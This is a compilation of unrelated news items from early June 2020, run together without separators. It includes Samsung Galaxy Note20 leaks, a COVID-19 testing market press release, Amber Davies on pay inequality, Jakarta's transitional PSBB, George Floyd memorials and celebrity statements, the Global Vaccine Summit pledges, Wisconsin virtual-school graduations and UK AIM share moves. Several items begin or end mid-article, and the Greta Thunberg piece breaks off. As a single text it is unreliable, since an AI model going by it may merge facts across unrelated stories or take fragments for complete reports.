The two Galaxy Note20 models and the Z Flip 5G will reportedly launch with One UI 2.5  a new refinement of Samsungs second generation One UI. The phones will probably launch around the same time, though the Galaxy Fold 2 is also expected at the Unpacked event for the Notes.

Well see if Samsung unveils two foldables at one event of if it spaces them out. Leakster Ishan Agarwal also reports that there are two new Galaxy Watch models in the works, SM-R845 and SM-R855, aka Nobelesse, but theres not much info on them as of yet.

Source 1 | Source 2
Dublin, June 05, 2020 (GLOBE NEWSWIRE) -- The "Global COVID-19 Diagnostic Testing Market - Analysis by Test Type (Molecular, Serology), End-User, by Region, by Country (2020 Edition): Market Insights, Competition and Forecast (2020-2025)" report has been added to ResearchAndMarkets.com's offering.



The Global COVID-19 Diagnostic Testing Market is estimated to be valued at USD 44,481.8 million for the year 2020 owing to a rapid increase in the number of coronavirus cases across the globe which boosts the demand for COVID-19 diagnostic tests.

The COVID-19 diagnostic tests are critical in the management of the current pandemic for accurate diagnosis as well as to tackle the spread of the infection. Also, Global COVID-19 Diagnostic Testing market in terms of COVID-19 Tests is expected to reach the number of 329.17 million in the year 2020.



In March 2020, the Food and Drug Administration (FDA) gave Emergency Use Authorization (EUA) to the first POC test-Xpert Xpress test made by Cepheid-for COVID-19 analysis. Abbott and Chembio Diagnostics are among the dynamic market players working for the purpose of care commercial center. The WHO has encouraged healthcare organizations to focus on COVID-19 indicative testing in light of this emergency.



The companies are also adopting profitable strategic moves to gain a competitive edge in the market. For example, in May 2020, Quest Diagnostics announced its collaboration with Ortho Clinical Diagnostics aimed at the expansion of COVID-19 antibody testing across more than 20 laboratories of Quest throughout U.S. The company applied VITROS Immunodiagnostic Products Anti-SARS-CoV-2 IgG Test of Ortho to ramp up the coronavirus testing in patients.



Among the Test Type segment in the COVID-19 Diagnostic Testing market (Molecular Tests, Serology Tests), Molecular Test type segment has been gaining popularity among other segments. Robust funding and speculations by public as well as private organizations are relied upon to impel molecular diagnostic organizations to create COVID-19 symptomatic products, in this way driving the market.

Based on End-User segment, Private or Commercial labs segment holds the major share in the COVID-19 diagnostic testing market followed by Public health labs and hospitals. Due to the growing number of COVID-19 cases across the globe, it has become imperative for the government of the various countries to involve a greater number of private or commercial firms in providing diagnostic testing in order to enhance the testing capacity to detect the virus.



Scope of the Report

The report analyses the COVID-19 Diagnostic Testing market by Value and by COVID-19 Tests.

The report analyses the COVID-19 Diagnostic Testing Market by Test Type (Molecular Tests, Serology Tests).

The report assesses the COVID-19 Diagnostic Testing market by End-User (Public Health Labs, Private or Commercial Labs, Others).

The Global COVID-19 Diagnostic Testing Market has been analysed by Region (Americas, Europe, Asia Pacific) and by Country (United States, Canada, Brazil, Germany, France, Italy, United Kingdom, Spain, Russia, China, Japan, India, South Korea, Singapore)

The major trends, drivers and challenges of the industry has been analysed in the report.

The report tracks competitive developments, COVID-19 vaccine development. The companies analysed in the report include Biomerieux, Roche Holding AG, Siemens Healthineers, Abbott Laboratories, Becton Dickinson, Thermo Fisher Scientific, Cepheid, BGI Genomics, Seegene, PerkinElmer.

The report presents the analysis of COVID-19 Diagnostic Testing market for the forecast period of 2020-2025.

Key Topics Covered



1. Report Scope and Methodology

1.1 Scope of the Report

1.2 Research Methodology

1.3 Executive Summary



2. Strategic Recommendations



3. Global COVID-19 Diagnostic Testing Market: Product Outlook



4. Global COVID-19 Diagnostic Testing Market: Sizing and Forecast

4.1 Market Size, by Value, Year 2020-2025

4.2 Market Size, by COVID-19 Tests, Year 2020-2025



5. Global COVID-19 Diagnostic Testing Market Segmentation by Test Type

5.1 Competitive Scenario of Global COVID-19 Diagnostic Testing: by Test Type

5.2 Molecular Tests-Market Size and Forecast (2020-2025)

5.3 Serology Tests-Market Size and Forecast (2020-2025)



6. Global COVID-19 Diagnostic Testing Market Segmentation by End-User

6.1 Competitive Scenario of Global COVID-19 Diagnostic Testing: by End-User

6.2 Public Health Labs-Market Size and Forecast (2020-2025)

6.3 Private or Commercial Labs-Market Size and Forecast (2020-2025)

6.4 Others-Market Size and Forecast (2020-2025)



7. Global COVID-19 Diagnostic Testing Market: Regional Analysis

7.1 Competitive Scenario of Global COVID-19 Diagnostic Testing: by Region, by Value



8. Americas COVID-19 Diagnostic Testing Market: Segmentation by Test Type, End-User (2020-2025)



9. Europe COVID-19 Diagnostic Testing Market: Segmentation by Test Type, End-User (2020-2025)



10. Asia Pacific COVID-19 Diagnostic Testing Market: Segmentation by Test Type, End-User (2020-2025)



11. Global COVID-19 Diagnostic Testing Market Dynamics

11.1 Global COVID-19 Diagnostic Testing Market Drivers

11.2 Global COVID-19 Diagnostic Testing Market Restraints

11.3 Global COVID-19 Diagnostic Testing Market Trends



12. COVID-19 Vaccine Development

12.1 Overview of Vaccine Development

12.2 Overview of the leading vaccine candidates



13. Competitive Landscape



14. Company Profiles (Business Description, Financial Analysis, Business Strategy)

14.1 bioMerieux

14.2 Roche Holding AG

14.3 Siemens Healthineers

14.4 Abbott Laboratories

14.5 Becton Dickinson

14.6 Thermo Fisher Scientific

14.7 Cepheid

14.8 BGI Genomics

14.9 Seegene

14.10 PerkinElmer



For more information about this report visit https://www.researchandmarkets.com/r/ok9agn

Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research.
Love Island's Amber Davies has claimed ex Kem Cetinay was paid more than her for the same jobs after winning the 2017 series of the show.

Amber, 23, who split from Kem, 23, in December 2017, just four months after winning the series, alleged her then-boyfriend was paid significantly more than her when they worked together following the iconic season.

The star opened up about the discrimination in documentary Still Working 9 to 5, which explores how women get paid less 40 years after the film starring Dolly Parton, Jane Finda and Lily Tomlin was released.

Pay gap: Love Island's Amber Davies has claimed ex Kem Cetinay was paid more than her for the same jobs after winning the 2017 series of the show (pictured 2017)

She said: 'I have experienced the pay gap. When I won Love Island, the guy I won it with and I would do jobs together and he would get paid quite a bit more than me for the same jobs.

'So then I stuck up for myself and I was like "You know, actually, I'm not going to do the job, you can do it by yourself".

'So yeah, I stick up for myself.'

'Though we have made a difference and it is changing for the better, there is still a lot of work that needs to be done.

Not happy: Amber, 23, who split from Kem, 23, in December 2017, just four months after winning the series, alleged her then-boyfriend was paid significantly more than her when they worked together following the iconic season (pictured November 2017)

MailOnline has contacted Kem Cetinay's representatives for comment.

Despite parting ways with the Essex lad shortly after leaving the show, Amber has paved her way to a small fortune.

In June 2019, it was claimed Amber had amassed a 1.6million fortune.

The star, who previously worked as an entertainer for London's circus themed club night Cirque Le Soir, landed a role in Dolly Parton's West End musical 9 To 5 and also filmed her own ITVBe show.

She also charged 5,000 for personal appearances and landed a 500,000 clothing deal with Motel Rocks and was snapped up after an 'intense bidding war between major fashion retailers' according to OK! Magazine.

Fury: She said: 'I have experienced the pay gap. When I won Love Island, the guy I won it with and I would do jobs together and he would get paid quite a bit more than me for the same jobs'

She reportedly earns 10,000 per Instagram snap and has collaborated with Motel Rocks and Boux Avenue.

Amber performed in the musical, which also stars Louise Redknapp, Natalie McQueen, Bonnie Langford and Brian Conley, and follows workmates Doralee, Violet and Judy as they try to kidnap their sexist and egotistical boss.

Upon landing the role, Amber, who trained in musical theatre before entering Love Island, shared how she wished to change the public's perception of her.

She told the Evening Standard: 'I only graduated in 2016, so I'm very fresh out of college. But I am trained and I have every right to be here.

Not on: 'So then I stuck up for myself and I was like "You know, actually, I'm not going to do the job, you can do it by yourself" (pictured October 2017)

Kem has reportedly earned 1.5million since leaving the villa.

The hairdresser from Essex came the first ever male ambassador for Primark, signed a lucrative deal with Boohoo and has worked with McDonald's and Sainsbury's.

Since winning the show, he has also been ever present on our screens and was a contestant and host on Dancing On Ice and a showbiz correspondent on Good Morning Britain and This Morning.

Didn't hold her back: Amber has reportedly amassed a 1.6m fortune since Love Island - she won a role in West End musical 9-5 in 2019

He has appeared on various other reality shows such as Celebrity Hunted and spin-off show You Vs. Chris & Kem.

The Islander launched a rap career alongside Chris Hughes and released song Little Bit Leave It which topped the charts on iTunes and Spotify.

And the cheeky reality star can also earn up to 8,000 per Instagram post.

Amber and Kem confirmed the shock split in December 2017.

The pair were said to have called time on their short lived relationship following a series of arguments prompted by their hectic work schedules.

Confirming the split in a statement to MailOnline at the time, they said: 'With sadness, weve decided to separate. We fell in love in the villa and want to thank all the fans of the show for supporting us.

Insiders revealed Kem - who is busy training for the upcoming new series of Dancing on Ice, and Amber had had a string of furious rows, made worse by the fact they were living together in Essex.
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Linkedin Budi Sutrisno (The Jakarta Post) Jakarta  Fri, June 5, 2020 08:36 595 fc6853813033f564188675f8bdc462c4 1 City PSBB,partial-lockdown,large-scale-social-restrictions,Transitional-PSBB,PSBB-Masa-Transisi,anies-baswedan,Jakarta-COVID-19,new-normal Free

Claiming to have lowered coronavirus transmission rates, Jakarta has decided to ease large-scale social restrictions (PSBB) as they are extended to the end of June, although the capital is fully aware of the risks of a potential rebound in the number of new cases.

Governor Anies Baswedan cited on Thursday research data from the University of Indonesia (UI), which estimated that the daily reproduction number (Rt) of COVID-19 in Jakarta has decreased to 0.99 since June 1.

President Joko Jokowi Widodo previously stated that regions with reproduction numbers below 1.0 would be able to impose the so-called new normal regime, which allows businesses to reopen as long as they enforce strict health rules.

Other indicators, such as the epidemiological trends of news cases and deaths, public health measures that include testing capacity as well as health facilities in Jakarta, had scored green, which allowed for the PSBB to be eased, Anies reported.

The governor, however, avoided the term new normal in his explanations, saying that by relaxing the PSBB, the capital would enter a period of transitional PSBB, which would lead toward a period of safe, healthy and productive social live. The transitional PSBB regime starts on Friday.

We and the COVID-19 task force have decided to extend the PSBB status in Jakarta and determined that June will be the transition phase, Anies said during a live-streamed press conference on Thursday.

Experts have expressed concern that the move to ease the PSBB under the new normal might come too soon, given the lack of reliable government data and the countrys low testing capacity, while the PSBB was not optimally imposed in the first place.

Anies admitted that easing the PSBB increased the risk of transmission but promised that stronger enforcement would be in place, with a regulation on sanctions for PSBB violations to remain in force.

If we are not disciplined, [...] we could see cases surge as if we were returning to the past months. And if that happens, the Jakarta administration and the task force will not hesitate to stop socioeconomic activities during the transition period, Anies said.

Several types of activity previously banned or restricted will be allowed to resume under the transitional PSBB, which will be divided into two stages.

The first stage entails the reopening of businesses and houses of worship, as well as allowing social and cultural activities and mobility of vehicles. The city, however, will apply the half-capacity policy in those areas of activity.

Offices, shops, restaurants, factories and city-owned small to medium businesses will be allowed to open at half capacity in the second week of June, while non-food businesses at markets and shopping centers will open in the third week.

Recreational parks, zoos, sport venues, museums, libraries, beaches and other public places will also be allowed to resume operations gradually.

Anies said that during the transition period, an emergency brake policy would be in place to stop the resumption of those activities should health protocols fail and cases numbers surge.

By the end of June, the first stage of transition will be evaluated, and the city will decide whether its time to proceed to the second stage, which includes the reopening of schools.

Since the first cases detected in early March, Jakarta has reported 7,690 COVID-19 positive cases, with 523 fatalities and 2,607 recoveries as of Thursday.

Anies claimed that the coronavirus reproduction rate in Jakarta had decreased rapidly after he imposed a work-from-home policy, closed schools and restricted mobility on March 16, even before the PSBB was put in place on April 10.

According to the UI research data quoted by the Jakarta administration, the curve of daily new cases in Jakarta has seen its peak in mid-April, while the curve of confirmed deaths has been declining since the end of April, compared to the accumulative numbers outside Jakarta that are spiking high.

Amid the push of the new normal narrative, the government has been worried about the increasing cases in at least three provinces: East Java  the countrys new epicenter of the coronavirus, South Sulawesi and South Kalimantan.

The UI research data also show that most parts of the capital are in the green or yellow zone. Out of about 2,700 community units, only 66 are reportedly still in the red zone, and hence will be excluded from the PSBB easing.

Anies claimed that the Jakarta administration had a complete set of epidemiological data and it was the strength of the administration that allowed officials to detect transmission, sorting, isolating and providing treatment.

Epidemiologist Pandu Riono, who also leads the research team, said that to prevent a surge of transmissions during the transition phase, residents should behave more safely, but  more importantly  each part of the city, from neighborhood units to districts, should create its own mechanism to impose strict health protocols.

The Health Ministry has issued a decree on new normal guidelines that stipulate new health protocols both during the PSBB and after the PSBB but are limited to businesses.

Local heads in each area have to come up with their own mechanism to impose guidelines in their areas, Pandu told The Jakarta Post on Thursday, adding that the Jakarta administration was obliged to isolate areas that fail to apply health protocol.
 Flash

Thousands of New Yorkers gathered on Thursday for a memorial service to honor the life of George Floyd, whose death last week has sparked protests across the United States and beyond over police brutality and racism.

Floyd's brother, Terrence Floyd, joined some 5,000 people in Brooklyn's Cadman Plaza on Thursday afternoon. Wearing a shirt with George Floyd's picture on it, the Brooklyn resident thanked New Yorkers for showing love to his brother.

He said he is proud of the protests but not the destruction, referring to the violence and looting that had emerged in demonstrations.

"My brother wasn't about that," he added.

Local officials, including New York City Mayor Bill de Blasio and New York State Attorney General Letitia James, also joined the vigil.

"George Floyd cannot have been allowed to die in vain," said the mayor. "We will make a peaceful change. To the Floyd family, we stand with you. Black lives matter in this city. Black lives matter in America."

Terrence Floyd then led the protesters on a march across the Brooklyn Bridge to Manhattan's Foley Square under the scorching sun.

New York Governor Andrew Cuomo at Thursday's briefing called for a moment of silence at 2 p.m. in the state as a memorial service for Floyd began in Minneapolis, where he lived and died.

New York City, which has seen protests for the same purpose staging for over a week, is scheduled to enter the fourth night under curfew at 8 p.m. on Thursday.
Everything you need to know about skiing the Northeast this winter

Whether you want to stay close to home or head north, here's everything you need to know about skiing or snowboarding in the Northeast and New York this season.
Former President Jerry John Rawlings has urged the South Africans to expose apartheid collaborators, some of whom parade in their countries as patriots after performing some unconscionable and extremely repulsive acts.



He noted that the intelligence machinery of the former apartheid regime of South Africa used to pay treacherous characters in some African countries; adding that the collaborators served as spies and helped to spread malicious disinformation.



Former President Rawlings made the appeal in Accra in a virtual address to mark the 41st Anniversary of the June 4th Revolution, on the theme: Strengthening the Spirit of Patriotism, Resilience and Integrity in Difficult Times.



He said because the post-apartheid leadership of South Africa was silent on some of the traitors spread across the continent, many of them were still doing some perfidious things.

Source: GNA









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Source: Xinhua| 2020-06-05 06:05:49|Editor: huaxia

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British Prime Minister Boris Johnson delivers a speech to the virtual Global Vaccine Summit at 10 Downing Street in London, Britain, on June 4, 2020. British Prime Minister Boris Johnson opened the Global Vaccine Summit virtually on Thursday, urging countries and organizations to pledge funding for vaccinations to save millions of lives in the poorest countries and protect the world from future outbreaks of infectious diseases. (Andrew Parsons/No 10 Downing Street/Handout via Xinhua)

LONDON/BRUSSELS, June 4 (Xinhua) -- The Global Vaccine Summit hosted by Britain virtually on Thursday drew pledges of 8.8 billion U.S. dollars, far more than its target of 7.4 billion dollars, showing "historic commitments" made by world leaders to provide equal access to vaccines for all.

"HISTORIC COMMITMENTS"

British Prime Minister Boris Johnson opened the Global Vaccine Summit virtually, urging countries and organizations to pledge funding for vaccinations to save millions of lives in the poorest countries and protect the world from future outbreaks of infectious diseases.

Addressing attendees from over 50 countries and organizations, Johnson said in his opening speech that the summit is a moment "when the world comes together to unite humanity in the fight against the disease."

"I urge you to join us to fortify this lifesaving alliance and inaugurate a new era of global health cooperation, which I believe is now the most essential shared endeavor of our lifetimes," he added.

With a target of 7.4 billion dollars for Gavi, the Vaccine Alliance, the summit raised 8.8 billion dollars from 32 donor governments and 12 foundations, corporations and organizations, said Gavi, noting that world leaders has made "historic commitments."

Britain pledged 1.65 billion pounds (about 2.07 billion dollars) to Gavi over the next five years, according to Johnson.

While Britain remains Gavi's largest donor, other top donors include the Bill & Melinda Gates Foundation and European countries such as Norway and Germany. Eight countries made their first ever pledge to Gavi, including Bhutan, Burkina Faso, Cameroon, Finland, Greece, New Zealand, Portugal and Uganda, according to Gavi.

China also pledged support to relevant international organizations, including Gavi, within its capacity and make contributions to vaccine accessibility and affordability in developing countries.

AMBITIOUS PLAN

In specific, the summit is expected to raise money to immunize a further 300 million children in world's poorest countries by 2025, protecting them from deadly diseases like polio, diphtheria and measles, and also helping ensure the global recovery from COVID-19 pandemic.

As the world focuses on tackling novel coronavirus, the World Health Organization (WHO), UNICEF and Gavi have warned that the pandemic is disrupting routine immunization, affecting approximately 80 million children under the age of one across the world.

Health experts have warned that if coronavirus is left to spread in developing countries, this could lead to future waves of infection reaching the developed countries including Britain.

If a safe and effective coronavirus vaccine is developed, Gavi will have a role in its delivery around the world.

To provide access to COVID-19 vaccines for low- and middle-income countries, the summit also raised 567 million dollars for new innovative financing instruments.

"This is the first building block towards a global mechanism to ensure equitable access to future COVID-19 vaccines," Gavi commented on the raise of 567 million dollars in initial seed money for the financing instrument.

EFFORTS IN EUROPE

Europe, as one of the hardest-hit regions by the COVID-19 pandemic, has been trying to seek solutions to the pandemic, including vaccines.

After U.S. President Donald Trump decided to terminate its ties with the WHO at the end of last month, German Health Minister Jens Spahn tweeted that Trump's move was "a disappointing backlash for International Health."

"The EU must take a leading role and engage more financially," Spahn said, noting that this would be one of Germany's priorities when it becomes the bloc's rotating presidency on July 1.

Earlier, Paris and Berlin had already agreed to raise research and development capacities in the field of COVID-19 vaccines and treatments, set up joint strategic stocks of pharmaceutical and medical products, and increase the production capacities of these products in the EU.

For now, several vaccines are in the process of development in Europe including Britain and Germany.

As to the vaccine development, Johnson has said earlier that he wants to see a "much more international approach" to the coronavirus pandemic and a vaccine will be developed "all the faster if we collaborate across countries." Enditem
[June 05, 2020] Wisconsin Virtual Academy, Insight School of Wisconsin, & Destinations Career Academy of Wisconsin to Celebrate 2020 Graduates with Online Commencement Ceremonies

As most brick-and-mortar schools around the country struggled to become fully integrated online this past spring due to coronavirus, Wisconsin Virtual Academy (WIVA), Insight School of Wisconsin (ISWI) and Destinations Career Academy of Wisconsin (WIDCA), three online public schools serving K-12 students throughout the state, will cap off their school year by celebrating the Class of 2020 in an online-only commencement ceremony. WIVA, ISWI, and WIDCA are inviting all families and friends worldwide to join the celebration. This year, WIVA and ISWI will graduate over 230 students. WIDCA will graduate over 30 students as well. Collectively, the class reports having been accepted to colleges and universities across Wisconsin and beyond, including: Marquette University, UW- Milwaukee, UW-Madison, Moraine Park Technical College, Northwestern, Bellin College, Chattanooga State, University of Florida, and more. "We are excited to celebrate our graduating seniors in the Class of 2020," said Fadia Afaneh, Head of School for WIVA, ISWI, and WIDCA. "This has been a challenging year for many students, and their hard work and determination has paid off. Though we wish we could celebrate in-person, we want to recognize their achievements with this virtual graduation ceremony." For WIVA, Emmett Rathert and Rachel Jahner will serve as Valedictorian and Salutaorian, respectively. Emmett plans to attend UW-LaCrosse while Rachel plans to continue studies at Marquette University. For WIDCA, Christopher VanDyke and Emily Saldivar will serve as Valedictorian and Salutatorian, respectively. Christopher plans to attend Fox Valley Technical College while Emily plans to gain experience in the work force for a year.



Students enroll in virtual school for a number of reasons, including those looking to escape bullying, those looking to get back on track academically, or those looking for an alternative to the traditional brick-and-mortar classroom setting. WIVA, ISWI, and WIDCA students access a robust online curriculum in the core subjects and a host of electives and attend live virtual classes every day taught by state-licensed teachers. Details of the graduation ceremony is as follows:

WHAT: Wisconsin Virtual Academy, Insight School of Wisconsin, and Destinations Career Academy of Wisconsin 2020 Graduation Ceremony

WHEN: Tuesday, June 6, 2020, 6:00 PM CT

WHERE: Link available upon request

CONTACT: For any questions, please contact Fadia Afaneh About Wisconsin Virtual Academy Wisconsin Virtual Academy (WIVA), a charter school authorized by the McFarland School District, is the largest full-time online public-school serving students in grades K through 12 in the state. As part of the Wisconsin public school system, WIVA is tuition-free, giving families the choice to access the curriculum and tools provided by K12 Inc. (NYSE: LRN), the nation's leading provider of K-12 proprietary curriculum and online education programs. For more information about WIVA, visit https://wiva.k12.com. About Insight School of Wisconsin Insight School of Wisconsin (ISWI), a charter school authorized by Grantsburg School District, provides a learning alternative for students in grades 9-12 who meet the statutory definition of 'at-risk.' Utilizing a growth mindset that all students have the capacity to learn and grow, ISWI collaborates with school services, the student, and their family in finding a pathway toward graduation and student success. As part of the Wisconsin public school system, ISWI is tuition-free and provides students across the state with the curriculum and tools provided by K12 Inc. (NYSE: LRN), the nation's leading provider of K-12 proprietary curriculum and online education programs. For more information about ISWI, visit here. About Destinations Career Academy of Wisconsin Destinations Career Academy of Wisconsin (WIDCA), a charter school authorized by the McFarland School District, is the first-ever career and technical education-focused online high school in Wisconsin using the curriculum and academic programs by K12 Inc. (NYSE: LRN). It is also the first online career readiness program in Wisconsin to offer a construction pre-apprenticeship program in partnership with industry leaders. As part of the Wisconsin public school system, Destinations Career Academy is tuition-free and serves students statewide in grades 9-12. For more information about Destinations Career Academy of Wisconsin, visit widca.k12.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20200605005008/en/

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AXIS Re, the reinsurance business segment of AXIS Capital Holdings Limited, has announced the appointment of Bobby Kwan as senior underwriter for property lines. The appointment will take effect August 17.

In his new role, Kwan will work with the Asia-Pacific property team to manage AXIS Res property book of business in the region. He will be based in Singapore and report to Les Loh, president of APAC for AXIS Re.
The news service of the Ministry of Foreign Affairs of Armenia has reported the following:

Today, SCAT Airlines carried out the Nur-Sultan  Yerevan DV 5048 chartered flight.

Another 36 citizens of Armenia, as well as 10 citizens of Kazakhstan left for Armenia through the efforts of the Embassy of Armenia in Kazakhstan and with the support of the Kazakh government and Armenian community organizations.

The Ministry of Foreign Affairs would like to remind that, upon the decision of the Commandants Office, the citizens returning to Armenia have been immediately moved from Zvartnots International Airport to places of self-isolation.

The Embassy of Armenia in Kazakhstan continues to make efforts to support citizens of Armenia who have expressed the desire to return to their homeland.
BAKU, Azerbaijan, June 5

By Jeila Aliyeva - Trend:



Turkmenistan has reached agreements in various sectors of partnership with leading Tatarstan companies (Russia), Trend reports with reference to the Ministry of Foreign Affairs of Turkmenistan.



The talks of the co-chairs of the Turkmen-Tatar Working Group on Economic, Scientific, Technical and Cultural Cooperation were held via videoconference.



Tatarstans delegation was headed by Minister of Industry and Trade of Russias Tatarstan Albert Karimov, while the Turkmen delegation was headed by Minister of Finance and Economy of Turkmenistan Ezizgeldy Annamuhammedov.



Turkmenistan and Tatarstan agreed that relations should be developed in all sectors of mutual interest and potential for joint implementation.



The parties discussed implementation of decisions adopted during the previous meeting of the working group in trade, economic and humanitarian fields. Among the priority areas of mutually beneficial partnership, mechanical engineering, petrochemistry, aviation industry, shipbuilding, agriculture and others were noted.



Earlier, the parties also noted the intensification of cooperation between Turkmenistan and Tatneft oil and gas company, Kazan helicopter plant company, KER-Holding engineering company, AK bars Shipbuilding Corporation and others.

One of the most important trade ties of Turkmenistan and Tatarstan include supply of famous Russian KAMAZ trucks, which are widely used in Turkmenistan's construction and agricultural sectors. Over the past ten years, more than 9,000 trucks and special equipment of KAMAZ Engineering JSC have been delivered to the country.

Also, some 46 dump trucks from KAMAZ have been delivered to the International Sea Port of Turkmenbashi in Turkmenistan in April 2020.

The foreign trade turnover of Turkmenistan and Tatarstan amounted to $65 million from January through September 2019.

Branches of the leading companies of Tatarstan, such as KAMAZ, Tatneft and IED-Holding, operate in Turkmenistan.

Meanwhile, Turkmenistan and Russia's Tatarstan Republic have discussed the construction of various types of ships aimed at the development of merchant fleet on April 6, 2020.

In general, Turkmenistan devotes attention to cooperation with Russias regions and cities, in particular with Tatarstan, Astrakhan and Saint Petersburg.

---

Follow the author on Twitter: @JeilaAliyeva
Journalists administrative detention for rally law breach reduced by 5 days

 RAPSI, Vladimir Burnov

15:00 05/06/2020

MOSCOW, June 5 (RAPSI)  The Moscow City Court on Friday reduced the term of journalist and municipal lawmaker Ilya Azars detention for repeated violation of the law on rallies from 15 to 10 days, the courts press service told RAPSI.

The journalist was arrested on May 26 near the building of the Interior Ministrys Main Directorate in central Moscow. Azar was staying in a sole picket in support of creator of the Police Ombudsman Telegram channel Vladimir Vorontsov, who had been earlier arrested on suspicion of extorting 300,000 rubles ($4,000) from a former Interior Ministry employee, and the channels admin Igor Khudyakov.

The journalist believes his arrest and detention are illegal as a sole picket doesnt breach legislation even during the sanitary and epidemiological restrictions.




The death of African-American man George Floyd has sparked a movement that is no longer restricted to the United States of America. People across the world have raised their voice against racial discrimination, and some have even taken to the streets. The whos who of Hollywood and the music industry have also condemned the incident with strong statements.

READ: George Floyd Death: Obama Recommends MBK Alliance Measures To Check Racial Discrimination

The latest to issue a response was Leonardo DiCaprio. The actor, without mentioning the incident, committed to listen, learn and take action in a statement on social media. The Academy Award-winner added that he was dedicated to end the disenfranchisement of Black America.

The Titanic star also wrote that he is keen to lend his support to all those individuals and organizations that are committed to bring about long-term change.

DiCaprio added that he is set to donate personally to various organisations working towards the cause, and tagged them along with his post. He also urged his fans to join in supporting the organisations.

READ: George Floyd Death: Kamala Harris Slams Rand Paul For Rejecting Anti-lynching Bill

Heres the post

Earlier, the big names of the film and music industry like George Clooney, Adele, Rihanna, Justin Bieber, Jennifer Lopez, Miley Cyrus, Lady Gaga, Beyonce, Hugh Jackman, among others too condemned the incident, slammed racial discrimination and urged all to unite for the Black community.

George Floyd died on May 25 after Minneapolis police officer Derek Chauvin pressed his knee on the formers neck for over eight minutes while pinning him down. The police officer has been charged with third-degree murder and manslaughter.

Thousands have protested in various parts of America, with some turning violent and a few being arrested as well. Similar protests have been held in countries like Ireland, UK, Australia and others.

READ: George Floyd Protests: Ex-top US General Denounces Trump's Military Threat

READ: Norah Jones Dedicates Rousing Musical Act To George Floyd, Says 'actions Speak Volumes'

Get the latest entertainment news from India & around the world. Now follow your favourite television celebs and telly updates. Republic World is your one-stop destination for trending Bollywood news. Tune in today to stay updated with all the latest news and headlines from the world of entertainment.
Revolution Bars is to take a walk on the wild side as it plans to join AIM to benefit from quicker and cheaper fundraisings.

The city bar chain expects to reopen venues in August, though this weeks press reported Westminster is drawing up a secret blueprint for pubs to serve drinks as early as this month.

The owner of the Revolution and Revolucion de Cuba brands reckons August sales could be 55 per cent of pre-pandemic levels, increasing to 80 per cent by November as social distancing measures are relaxed.

Revolution Bars plans to join AIM to benefit from quicker and cheaper fundraisings

Revolution also announced a share placing at a 42 per cent discount, with plans to launch a second one, to raise a total of 15million so it can improve its debt position.

The group reduced bank debt by 6million to 11.5million in the second half of 2019 but debt had ballooned to 22million by May 26.

Investors did not raise a glass to the news, with shares plunging 31 per cent to 25p.

Talking about joining markets, there has been a lot of chatter in the market about Blencowe Resources, which relisted on AIM in April at 6p and peaked at around 9p earlier this week, before succumbing to a bout of profit-taking.

Following a 2million fundraise and the reverse takeover of Consolidated African Resources, Blencowe now owns the Orom Graphite Project in northern Uganda, a development that has clearly resonated with investors.

Graphite is a core material used in batteries that power electric vehicles, laptops and phones and is an often-overlooked element in the energy storage revolution.

Blencowe now owns the Orom Graphite Project in northern Uganda. Graphite is a core material used in batteries that power electric vehicles, laptops and phones

Looking at the wider market, the AIM All-Share index rose 2.7 per cent to 901, recovering to Februarys levels, while the FTSE 100 shot up 5.5 per cent to 6,416  still below pre-pandemic figures.

In the risers, Cadence Minerals rocketed 97 per cent to 11p after its partner Hastings signed a deal to supply ore from their Yangibana Rare Earth Project in Australia to German automotive supplier Schaeffler.

Cadence also announced its investee Macarthurs joint venture partner Fe completed the sale of a royalty interest, so it can now fund exploration at the Hillside copper and gold project, also located in Australia.

Fellow miner BlueRock Diamonds added 28 per cent to 58p after announcing the restart of operations at the Kareevlei mine in South Africa had resulted in no new coronavirus cases, while production averaged almost 2,000 tons per day since May 11.

Elsewhere, wireless communication technology provider CyanConnode charged 78 per cent higher to 3p on a delayed 10million contract that has now been approved. The setback had pushed quarterly revenues well below forecast levels.

In the petroleum industry, United Oil & Gas gushed 33 per cent higher to 2p after early analysis revealed a potentially much larger target at the Abu Sennan concession in Egypt, though it is too early to reach a conclusion on oil volumes.

Meanwhile, mobile gaming content developer Gaming Realms surged 19 per cent to 12p after announcing licensing revenue was up 80 per cent over the five months to May, while revenues from its social division were 15 per cent higher.

In the healthcare sector, Creo Medical advanced 15 per cent to 175p after new data showed its Speedboat device, which uses endoscopy to remove gastrointestinal pre-cancerous lesions rather than surgeries, can save NHS hospitals 5,000 per procedure.

Applied Graphene Materials advanced 11 per cent to 12p on the back of an exclusive distribution agreement with Dichem Polymers that will give it access to the polymers and coatings markets in Greece.

In the fallers, Strategic Minerals fell 47 per cent to 0.5p after raising 1million by placing shares at a 28 per cent discount to help pay the remaining balance of 990,000 for the acquisition of New Age Explorations interest in Cornwall Resources, holder of the Redmoor Tin/Tungsten project.

Finally, sector-mate Beowulf Mining slipped 24 per cent to 4p after chief executive Kurt Budge wrote to the Swedish government in relation to an upcoming parliamentary discussion on mining rights in the Scandinavian country. The miner is waiting to hear whether it will be allowed to continue its stalled iron ore project in the Kallak region.
By PTI

MUMBAI: Maharashtra on Thursday registered the highest single-day spike of 2,933 COVID-19 cases, which took the tally of patients in the state to 77,793, the state health department said.

As 123 coronavirus positive patients died during the day, the death toll increased to 2,710, it said.

The number of discharged patients in the state rose to 33,681 as 1,352 patients were sent back home after recovery, the health department said in a statement.

Of the 123 deaths, 68 were reported in the Mumbai Metropolitan Region (MMR).

The department said that 30 of these deaths occurred in the last two days, while the rest were from the period between April 30 and June 1.

The number of active cases is 41,402, it said, adding that as many as 5,10,176 people have been tested so far.

There are 3,804 containment zones in the state.

As many as 5,10,176 people have been tested so far.

Currently 5,60,303 people are in home quarantine and 30,623 are in institutional quarantine, it said.

The state's COVID-19 recovery rate is 43.29 per cent, while the fatality rate is 3.48 per cent, it added.

Of the total positive cases recorded so far, 58,878 are in the MMR area, where 1,810 patients have succumbed to the infection.

Malegaon city in Nashik district has so far recorded 762 cases and 58 deaths, Pune city has reported 7,700 cases and 351 deaths, Solapur city 1,065 cases and 86 deaths, Aurangabad city 1,668 cases and 87 deaths, Akola city 633 cases and 27 deaths, while Nagpur city has reported 619 cases and 11 deaths.

Maharashtra's COVID tally is as follows: Positive cases: 77,793, deaths: 2,710, recovered: 33,681, active cases: 41,402, people tested so far: 5,10,176.
Greta Thunberg has called on EU leaders to condemn 'police brutality and attacks on the free press' in the US during the Black Lives Matter protests.

The 17-year-old climate change activist took to Twitter to respond to footage of two police officers shoving a 75-year-old man to the ground, causing him to crack his head on the sidewalk, in Buffalo, New York.

